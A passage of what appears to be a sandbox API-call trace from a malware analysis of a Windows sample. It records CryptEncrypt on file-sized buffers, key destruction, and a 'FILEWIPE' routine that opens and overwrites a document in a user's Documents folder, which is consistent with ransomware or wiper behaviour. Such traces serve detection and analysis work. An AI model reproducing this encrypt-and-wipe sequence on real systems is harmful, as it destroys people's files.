lpMsg=0xe8f3dfe760) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.121] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18f48, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18f50) returned 1 [0024.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.121] CharLowerBuffW (in: lpsz="byte[102225]", cchLength=0xc | out: lpsz="byte[102225]") returned 0xc [0024.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.122] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.122] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.122] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f420b7c0*, pdwDataLen=0xe8f3dfdf68*=0x18f48, dwBufLen=0x18f50 | out: pbData=0xe8f420b7c0*, pdwDataLen=0xe8f3dfdf68*=0x18f50) returned 1 [0024.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.123] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.130] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.130] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.130] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.130] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.130] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.130] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.130] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.130] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.130] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.131] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.131] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.131] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.131] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.131] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.131] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.131] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.131] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.132] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0024.132] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.132] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.132] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.132] CloseHandle (hObject=0x188) returned 1 [0024.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.133] CloseHandle (hObject=0x1fc) returned 1 [0024.135] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.138] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.138] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\6esq8lzbvb5xjb1xlyrd.odt")) returned 0x20 [0024.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.138] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a190 [0024.138] FindClose (in: hFindFile=0xe8f406a190 | out: hFindFile=0xe8f406a190) returned 1 [0024.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.138] CharLowerBuffW (in: lpsz="byte[102216]", cchLength=0xc | out: lpsz="byte[102216]") returned 0xc [0024.140] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.140] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.140] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.141] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.141] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0024.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064710, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0024.141] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0024.141] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.141] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.141] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.142] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.142] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.142] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.142] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.143] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.144] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.145] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.145] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.145] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.145] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.146] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.147] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.148] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.148] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2852) returned 1 [0024.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.149] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, 